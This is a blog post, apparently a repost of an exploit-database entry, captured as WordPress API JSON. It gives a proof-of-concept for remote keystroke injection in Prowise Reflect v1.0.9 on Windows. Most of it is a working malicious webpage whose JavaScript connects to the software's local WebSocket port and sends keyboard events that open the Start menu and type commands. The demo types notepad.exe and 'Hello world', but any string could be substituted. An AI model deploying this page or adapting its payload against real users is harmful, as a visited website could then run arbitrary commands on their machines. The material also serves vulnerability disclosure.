# Exploit Title: Prowise Reflect v1.0.9 – Remote Keystroke Injection
\n# Date: 30\/10\/2022
\n# Exploit Author: Rik Lutz
\n# Vendor Homepage: https:\/\/www.prowise.com\/
\n# Version: V1.0.9
\n# Tested on: Windows 10<\/p>\n
# Prowise Reflect software version 1.0.9 for Windows is vulnerable to a remote keystroke injection.
\n# Much like how a rubber ducky attack works but this works either over the network (when port 8082 is exposed),
\n# or by visiting a malicious website. This POC contains the malicious webpage.
\n# Steps:
\n# 1. Start Prowise reflect
\n# 2. Try to connect to a reflect server e.q. ygm7u6od
\n# 3. When it is connecting click exploit
\n# – Start menu will open, types notepad.exe and types hello world.<\/p>\n
<!DOCTYPE HTML><\/p>\n
<html>
\n<head><\/p>\n
<script type = “text\/javascript”><\/p>\n
function wait(ms){
\nvar start = new Date().getTime();
\nvar end = start;
\nwhile(end < start + ms) {
\nend = new Date().getTime();
\n}
\n}<\/p>\n
function WebSocketTest() {
\nvar StateConnecting = new Boolean(false);
\nif (“WebSocket” in window) {
\n\/\/ Let us open a web socket
\nvar ws = new WebSocket(“ws:\/\/localhost:8082”);<\/p>\n
ws.onopen = function() {<\/p>\n
ws.send(‘{“event”:”keyboard”, “key”:”super”}’);
\nwait(400);
\n\/\/character is slower
\n\/\/ ws.send(‘{“event”:”keyboard”, “character”:”notepad.exe”}’};<\/p>\n
\/\/ You can check for connecting state by sending {“event”:”setupRTCConnection”, “remoteName”:”a”} if the response is {“event”:”streamAvailable”} getIsConnecting == true
\nvar exploitcode = “notepad.exe”
\nfor (let i = 0; i < exploitcode.length; i++) {
\nws.send(‘{“event”:”keyboard”, “key”:”‘ + exploitcode[i] + ‘”}’);
\n}<\/p>\n
wait(300);
\nws.send(‘{“event”:”keyboard”, “key”:”enter”}’);
\nwait(2000);
\nexploitcode = “Hello world!”<\/p>\n
for (let i = 0; i < exploitcode.length; i++) {
\nws.send(‘{“event”:”keyboard”, “key”:”‘ + exploitcode[i] + ‘”}’);
\n}
\nwait(200);
\n};<\/p>\n
ws.onmessage = function (evt) {
\nvar received_msg = evt.data;
\n};<\/p>\n
ws.onclose = function() {<\/p>\n
\/\/ websocket is closed.
\nalert(“Connection is closed…”);
\n};
\n} else {
\n\/\/ The browser doesn’t support WebSocket
\nalert(“WebSocket NOT supported by your Browser!”);
\n}
\n}
\n<\/script><\/p>\n
<\/head><\/p>\n
<body>
\n<div id = “sse”>
\n<a href = “javascript:WebSocketTest()”>Exploit!<\/a>
\n<\/div><\/p>\n
<\/body>
\n<\/html><\/p>\n","protected":false},"excerpt":{"rendered":"
# Exploit Title: Prowise Reflect v1.0.9 – Remote Keystroke Injection # Date: 30\/10\/2022 # Exploit Author: Rik Lutz # Vendor Homepage: https:\/\/www.prowise.com\/ # Version: V1.0.9 # Tested on: Windows 10 # Prowise Reflect software version 1.0.9 for Windows is vulnerable to a remote keystroke injection. # Much like how a rubber ducky attack works but …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-21195","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21195","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=21195"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21195\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=21195"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=21195"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=21195"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}